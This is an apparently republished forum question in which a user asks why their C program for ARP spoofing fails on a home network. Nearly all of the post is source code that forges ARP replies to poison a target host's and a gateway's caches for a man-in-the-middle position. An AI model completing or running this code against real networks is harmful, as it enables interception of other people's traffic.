• caglararli@hotmail.com
  • 05386281520

Failed to perform ARP spoofing using a code written in C

Çağlar Arlı      -    59 Views

Failed to perform ARP spoofing using a code written in C

Okay I have been trying to crack this problem for a while now. I wrote a code in C that basically performs simple ARP request and reply among other things. I thought it will be awesome to implement ARP spoofing. I managed to send the crafted ARP reply and confirmed it using Wireshark. To my dismay, I did not see any packets with the target IP routed to my device. I did everything I could such as enabling IP forwarding and set my network interface to promiscuous mode. However, it did work when I am using Scapy so I can only assume the problem lies on my code or how the ARP is crafted.

a) Here is the header file:

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>  //htons etc

#define PROTO_ARP 0x0806
#define ETH2_HEADER_LEN 14
#define HW_TYPE 1
#define MAC_LENGTH 6
#define IPV4_LENGTH 4
#define ARP_REQUEST 0x01
#define ARP_REPLY 0x02
#define BUF_SIZE 60

struct arp_header {
    unsigned short hardware_type;
    unsigned short protocol_type;
    unsigned char hardware_len;
    unsigned char protocol_len;
    unsigned short opcode;
    unsigned char sender_mac[MAC_LENGTH];
    unsigned char sender_ip[IPV4_LENGTH];
    unsigned char target_mac[MAC_LENGTH];
    unsigned char target_ip[IPV4_LENGTH];
};

/*
 * Converts struct sockaddr with an IPv4 address to network byte order uint32_t.
 * Returns 0 on success.
 */
uint32_t int_ip4(struct sockaddr *addr)
{
    if (addr->sa_family == AF_INET) {
        struct sockaddr_in *i = (struct sockaddr_in *) addr;
        return i->sin_addr.s_addr;
    } else {
        perror("Not AF_INET");
        exit(EXIT_FAILURE);
    }
}

/*
 * Writes interface IPv4 address as network byte order to ip.
 * Returns 0 on success.
 */
int get_if_ip4(int fd, const char *ifname, uint32_t *ip)
{
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(struct ifreq));
    strcpy(ifr.ifr_name, ifname);
    if (ioctl(fd, SIOCGIFADDR, &ifr) == -1) {
        perror("SIOCGIFADDR");
        return 1;
    }
    *ip = int_ip4(&ifr.ifr_addr);
    return 0;
}

/*
 * Gets interface information by name:
 * IPv4
 * MAC
 * ifindex
 * Returns 0 on success.
 */
int get_if_info(const char *ifname, uint32_t *ip, unsigned char *mac, int *ifindex)
{
    struct ifreq ifr;
    int sd = socket(AF_PACKET, SOCK_RAW, htons(PROTO_ARP));

    strcpy(ifr.ifr_name, ifname);

    // Get interface index using name
    if (ioctl(sd, SIOCGIFINDEX, &ifr) == -1) {
        perror("SIOCGIFINDEX");
        return 1;
    }
    *ifindex = ifr.ifr_ifindex; // get interface index

    // Get MAC address of the interface
    if (ioctl(sd, SIOCGIFHWADDR, &ifr) == -1) {
        perror("SIOCGIFINDEX");
        return 1;
    }

    // Copy mac address to output
    memcpy(mac, ifr.ifr_hwaddr.sa_data, MAC_LENGTH);

    // Get IPv4 of the interface
    if (get_if_ip4(sd, ifname, ip)) {
        perror("Unresolved IPv4 of the Interface");
        return 1;
    }
    return 0;
}

/*
 * Creates a raw socket that listens for ARP traffic on specific ifindex.
 * Writes out the socket's FD.
 * Return 0 on success.
 */
int bind_arp(int ifindex, int *fd)
{
    // Submit request for a raw socket descriptor.
    *fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
    if (*fd < 1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(struct sockaddr_ll));
    sll.sll_family = AF_PACKET;
    sll.sll_ifindex = ifindex;
    if (bind(*fd, (struct sockaddr*) &sll, sizeof(struct sockaddr_ll)) < 0) {
        perror("bind");
        if (*fd > 0)
            close(*fd);
        exit(EXIT_FAILURE);
    }
    return 0;
}

/*
 * Sends an ARP who-has request to dst_ip
 * on interface ifindex, using source mac src_mac and source ip src_ip.
 * Return 0 on success.
 */
int send_arp_request(int fd, int ifindex, unsigned const char *src_mac, uint32_t src_ip, uint32_t dst_ip)
{
    unsigned char buffer[BUF_SIZE];
    memset(buffer, 0, sizeof(buffer));

    struct sockaddr_ll socket_address;
    socket_address.sll_family = AF_PACKET;
    socket_address.sll_protocol = htons(ETH_P_ARP);
    socket_address.sll_ifindex = ifindex;
    socket_address.sll_hatype = htons(ARPHRD_ETHER);
    socket_address.sll_pkttype = (PACKET_BROADCAST);
    socket_address.sll_halen = MAC_LENGTH;
    socket_address.sll_addr[6] = 0x00;
    socket_address.sll_addr[7] = 0x00;

    struct ethhdr *send_req = (struct ethhdr *) buffer;
    struct arp_header *arp_req = (struct arp_header *) (buffer + ETH2_HEADER_LEN);

    // Broadcast
    memset(send_req->h_dest, 0xff, MAC_LENGTH);

    // Target MAC zero
    memset(arp_req->target_mac, 0x00, MAC_LENGTH);

    // Set source mac to our MAC address
    memcpy(send_req->h_source, src_mac, MAC_LENGTH);
    memcpy(arp_req->sender_mac, src_mac, MAC_LENGTH);
    memcpy(socket_address.sll_addr, src_mac, MAC_LENGTH);

    /* Setting protocol of the packet */
    send_req->h_proto = htons(ETH_P_ARP);

    /* Creating ARP request */
    arp_req->hardware_type = htons(HW_TYPE);
    arp_req->protocol_type = htons(ETH_P_IP);
    arp_req->hardware_len = MAC_LENGTH;
    arp_req->protocol_len = IPV4_LENGTH;
    arp_req->opcode = htons(ARP_REQUEST);

    /* Copy IP address to arp_req */
    memcpy(arp_req->sender_ip, &src_ip, sizeof(uint32_t));
    memcpy(arp_req->target_ip, &dst_ip, sizeof(uint32_t));

    if (sendto(fd, buffer, 42, 0, (struct sockaddr *) &socket_address, sizeof(socket_address)) == -1) {
        perror("sendto():");
        return 1;
    }
    return 0;
}

/*
 * Sends an ARP Reply request to dst_ip
 * on interface ifindex, using source mac src_mac and source ip src_ip.
 * Return 0 on success.
 */
int send_arp_reply(int fd, int ifindex, unsigned const char *src_mac, uint32_t src_ip, unsigned const char *dst_mac, uint32_t dst_ip)
{
    unsigned char buffer[BUF_SIZE];
    memset(buffer, 0, sizeof(buffer));

    struct sockaddr_ll socket_address;
    socket_address.sll_family = AF_PACKET;
    socket_address.sll_protocol = htons(ETH_P_ARP);
    socket_address.sll_ifindex = ifindex;
    socket_address.sll_hatype = htons(ARPHRD_ETHER);
    socket_address.sll_pkttype = (PACKET_OTHERHOST);
    socket_address.sll_halen = MAC_LENGTH;
    socket_address.sll_addr[6] = 0x00;
    socket_address.sll_addr[7] = 0x00;

    struct ethhdr *send_rep = (struct ethhdr *) buffer;
    struct arp_header *arp_rep = (struct arp_header *) (buffer + ETH2_HEADER_LEN);

    // Set destination MAC address in Ethernet header to target's MAC address
    memcpy(send_rep->h_dest, dst_mac, MAC_LENGTH);

    // Set target MAC in ARP header to target's MAC address
    memcpy(arp_rep->target_mac, dst_mac, MAC_LENGTH);

    // Set source mac to our MAC address
    memcpy(send_rep->h_source, src_mac, MAC_LENGTH);
    memcpy(arp_rep->sender_mac, src_mac, MAC_LENGTH);
    memcpy(socket_address.sll_addr, src_mac, MAC_LENGTH);

    /* Setting protocol of the packet */
    send_rep->h_proto = htons(ETH_P_ARP);

    /* Creating ARP reply */
    arp_rep->hardware_type = htons(HW_TYPE);
    arp_rep->protocol_type = htons(ETH_P_IP);
    arp_rep->hardware_len = MAC_LENGTH;
    arp_rep->protocol_len = IPV4_LENGTH;
    arp_rep->opcode = htons(ARP_REPLY);

    /* Copy IP address to arp_rep */
    memcpy(arp_rep->sender_ip, &src_ip, sizeof(uint32_t));
    memcpy(arp_rep->target_ip, &dst_ip, sizeof(uint32_t));

    if (sendto(fd, buffer, 42, 0, (struct sockaddr *) &socket_address, sizeof(socket_address)) == -1) {
        perror("sendto():");
        return 1;
    }
    return 0;
}

/*
 * Reads a single ARP reply from fd.
 * Return 0 on success.
 */
int read_arp(int fd, struct arp_header **arp_resp)
{
    unsigned char buffer[BUF_SIZE];
    ssize_t length = recvfrom(fd, buffer, BUF_SIZE, 0, NULL, NULL);
    int index;
    if (length == -1) {
        perror("recvfrom()");
        return 1;
    }
    struct ethhdr *rcv_resp = (struct ethhdr *) buffer;
    (*arp_resp) = (struct arp_header *) (buffer + ETH2_HEADER_LEN);
    if (ntohs(rcv_resp->h_proto) != PROTO_ARP) {
        perror("Not an ARP packet");
        return 1;
    }
    if (ntohs((*arp_resp)->opcode) != ARP_REPLY) {
        perror("Not an ARP reply");
        return 1;
    }
    
    return 0;
}

/*
 * Gets MAC address from IPv4.
 * Return 0 on success.
 */
int get_mac_addr(const char *ifname, const char *ip, unsigned char* mac_addr)
{
    uint32_t dst_ip = inet_addr(ip);
    if (dst_ip == INADDR_NONE || dst_ip == INADDR_ANY) {
        printf("Invalid destination IP\n");
        exit(EXIT_FAILURE);
    }

    // Get interface info for source
    uint32_t src_ip;
    int ifindex;
    unsigned char src_mac[MAC_LENGTH];
    if (get_if_info(ifname, &src_ip, src_mac, &ifindex) != 0) {
        perror("Failed to get interface information");
        exit(EXIT_FAILURE);
    }

    // Bind a socket to listen for ARP replies
    int arp_fd;
    if (bind_arp(ifindex, &arp_fd) != 0) {
        perror("Failed to bind ARP socket");
        exit(EXIT_FAILURE);
    }

    // Continuously send ARP requests and read responses
    struct arp_header *arp_resp;
    while (1) {
        if (send_arp_request(arp_fd, ifindex, src_mac, src_ip, dst_ip) != 0) {
            perror("send_arp_request() failed");
            exit(EXIT_FAILURE);
        }
        int ret = read_arp(arp_fd, &arp_resp);
        struct in_addr sender_addr;
        memcpy(&sender_addr, arp_resp->sender_ip, sizeof(sender_addr));
        if (ret == 0 && strcmp(inet_ntoa(sender_addr), ip) == 0) {
            memcpy(mac_addr, arp_resp->sender_mac, sizeof(mac_addr));
            break;
        }
    }

    close(arp_fd);
    return 0;
}

b) Here is the C file implementing ARP spoofing:

#include "arp-utils.h"

int main()
{
    unsigned char target_mac_addr[MAC_LENGTH];
    unsigned char gateway_mac_addr[MAC_LENGTH];

    get_mac_addr("wlp4s0", "192.168.1.6", target_mac_addr);
    get_mac_addr("wlp4s0", "192.168.1.1", gateway_mac_addr);

    printf("Target MAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n", 
    target_mac_addr[0], target_mac_addr[1], target_mac_addr[2],
    target_mac_addr[3], target_mac_addr[4], target_mac_addr[5]);
    printf("Gateway MAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n", 
    gateway_mac_addr[0], gateway_mac_addr[1], gateway_mac_addr[2],
    gateway_mac_addr[3], gateway_mac_addr[4], gateway_mac_addr[5]);

    uint32_t target_ip = inet_addr("192.168.1.6");
    uint32_t gateway_ip = inet_addr("192.168.1.1");
  
    // Get interface info for source
    uint32_t src_ip;
    int ifindex;
    char src_mac[MAC_LENGTH];
    if (get_if_info("wlp4s0", &src_ip, src_mac, &ifindex) != 0) {
        perror("Failed to get interface information");
        exit(EXIT_FAILURE);
    }

    // Bind a socket to listen for ARP replies
    int arp_fd;
    if (bind_arp(ifindex, &arp_fd) != 0) {
        perror("Failed to bind ARP socket");
        exit(EXIT_FAILURE);
    }
    while(1) {
        if (send_arp_reply(arp_fd, ifindex, src_mac, gateway_ip, target_mac_addr, target_ip) != 0) {
            perror("send_arp_reply() failed");
            break;
        }
        if (send_arp_reply(arp_fd, ifindex, src_mac, target_ip, gateway_mac_addr, gateway_ip) != 0) {
            perror("send_arp_reply() failed");
            break;
        }
        sleep(4);
    }
    close(arp_fd);
    return 0;
}